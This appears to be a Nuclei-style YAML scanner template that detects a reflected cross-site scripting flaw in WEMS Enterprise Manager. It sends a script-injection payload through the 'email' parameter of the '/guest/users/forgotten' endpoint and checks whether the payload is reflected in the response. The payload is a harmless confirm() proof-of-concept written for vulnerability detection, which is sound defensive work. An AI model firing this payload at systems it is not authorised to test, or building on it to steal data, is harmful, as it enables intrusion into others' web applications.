30 lines
918 B
YAML
30 lines
918 B
YAML
id: wems-manager-xss
|
|
|
|
info:
|
|
name: WEMS Enterprise Manager - Cross-Site Scripting
|
|
author: pikpikcu
|
|
severity: medium
|
|
description: A vulnerability in WEMS Enterprise Manager allows remote attackers to inject arbitrary Javascript into the response return by the server by sending it to the '/guest/users/forgotten' endpoint and the
|
|
'email' parameter.
|
|
reference:
|
|
- https://packetstormsecurity.com/files/155777/WEMS-Enterprise-Manager-2.58-Cross-Site-Scripting.html
|
|
tags: xss
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/guest/users/forgotten?email=%22%3E%3Cscript%3Econfirm(document.domain)%3C/script%3E'
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
- type: word
|
|
words:
|
|
- '"><script>confirm(document.domain)</script>'
|
|
part: body
|
|
- type: word
|
|
words:
|
|
- "text/html"
|
|
part: header
|